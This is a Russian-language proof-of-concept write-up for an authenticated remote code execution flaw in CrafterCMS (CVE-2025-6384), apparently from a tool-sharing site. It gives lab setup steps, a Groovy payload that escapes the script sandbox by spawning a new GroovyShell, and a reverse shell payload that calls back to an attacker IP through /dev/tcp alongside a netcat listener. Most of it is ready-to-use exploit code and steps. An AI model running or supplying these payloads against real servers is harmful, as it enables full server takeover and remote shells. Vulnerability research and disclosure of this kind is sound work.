Аутентифицированный RCE в CrafterCMS - Обход песочницы Groovy (CVE-2025-6384)

Proof of Concept для аутентифицированной уязвимости удалённого выполнения кода в CrafterCMS.

Сводка об уязвимости

Аутентифицированный пользователь с правами разработчика может обойти песочницу Groovy-скриптов в Crafter Studio для достижения удалённого выполнения кода (RCE). Песочница не блокирует создание нового экземпляра GroovyShell, который можно использовать для создания новой, неограниченной среды выполнения.

• Продукт: CrafterCMS
• Компонент: Crafter Studio
• Уязвимость: Аутентифицированный RCE через обход песочницы Groovy (CWE-913)
• Воздействие: Полная компрометация сервера

Настройка лаборатории / Развёртывание

Вы можете быстро развернуть уязвимый экземпляр CrafterCMS для тестирования, используя официальные файлы Docker Compose.

1. Клонируйте репозиторий docker-compose от CrafterCMS:

   root@kitploit:~

   git clone https://github.com/craftercms/docker-compose.git
   

2. Перейдите в каталог среды разработки authoring:

   root@kitploit:~

   cd docker-compose/authoring
   

3. Запустите контейнеры. Это загрузит необходимые образы и запустит стек CrafterCMS.

   root@kitploit:~

   docker-compose up
   

   (Примечание: в зависимости от вашей установки Docker может потребоваться sudo.)

4. Дождитесь полной инициализации сервисов. Вы можете получить доступ к Crafter Studio по адресу http://localhost:8080/studio.

   • Имя пользователя по умолчанию: admin
   • Пароль по умолчанию: admin

Proof of Concept (PoC)

Хотя песочница корректно блокирует прямые методы выполнения, она допускает следующую полезную нагрузку, которая создаёт новую оболочку Groovy без ограничений песочницы.

// File: /scripts/interceptors/pwn.groovy

def shell = new GroovyShell()
def command = "id" // <-- Your command here
def result = shell.evaluate("'''${command}'''.execute().text")

// The output is printed to the server logs
System.err.println("[RCE-PoC] " + result)

Эксплойт RCE: обратная оболочка (Reverse Shell)

Эта полезная нагрузка демонстрирует полный RCE, устанавливая обратную оболочку (reverse shell) на машину, контролируемую атакующим.

1. Запустите слушатель (Listener)

На вашей машине запустите слушатель (например, с помощью netcat), чтобы принимать входящее подключение:

nc -lvnp 4444

2. Подготовьте полезную нагрузку

Используйте следующий Groovy-скрипт в качестве полезной нагрузки. Не забудьте заменить <YOUR_IP> и <YOUR_PORT> на IP-адрес и порт вашего слушателя.

// File: /scripts/interceptors/exploit.groovy

def attacker_ip = "<YOUR_IP>"
def attacker_port = "4444" // Or <YOUR_PORT>

def cmd = "bash -i >& /dev/tcp/" + attacker_ip + "/" + attacker_port + " 0>&1"
def shell = new GroovyShell()

// Use triple quotes to handle the command string easily
shell.evaluate("""
    new ProcessBuilder("/bin/bash", "-c", "${cmd}").start()
""")

System.err.println("Reverse shell payload executed.")

Шаги воспроизведения

1. Войдите в Crafter Studio (http://localhost:8080/studio), используя учётные данные по умолчанию (admin / admin).

2. Перейдите в Site Config -> Scripts.

3. Нажмите Create/Edit Script в разделе «Groovy Scripts».

   

4. Выберите тип скрипта, который будет выполняться, например Request Interceptor.

5. Вставьте PoC-полезную нагрузку в редактор скриптов и сохраните её.

   

6. Запустите скрипт, посетив любую страницу сайта (например, http://localhost:8080).

7. Проверьте журналы стандартной ошибки сервера, чтобы увидеть вывод команды.

   • Для PoC найдите идентификатор вашего контейнера и проверьте его журналы на наличие вывода команды:
   root@kitploit:~

   docker-compose logs -f crafter
   

   Ожидаемый вывод:

   root@kitploit:~

   GroovyShell: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
   

   

Отказ от ответственности

Этот материал предназначен исключительно для образовательных и исследовательских целей. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый данной информацией.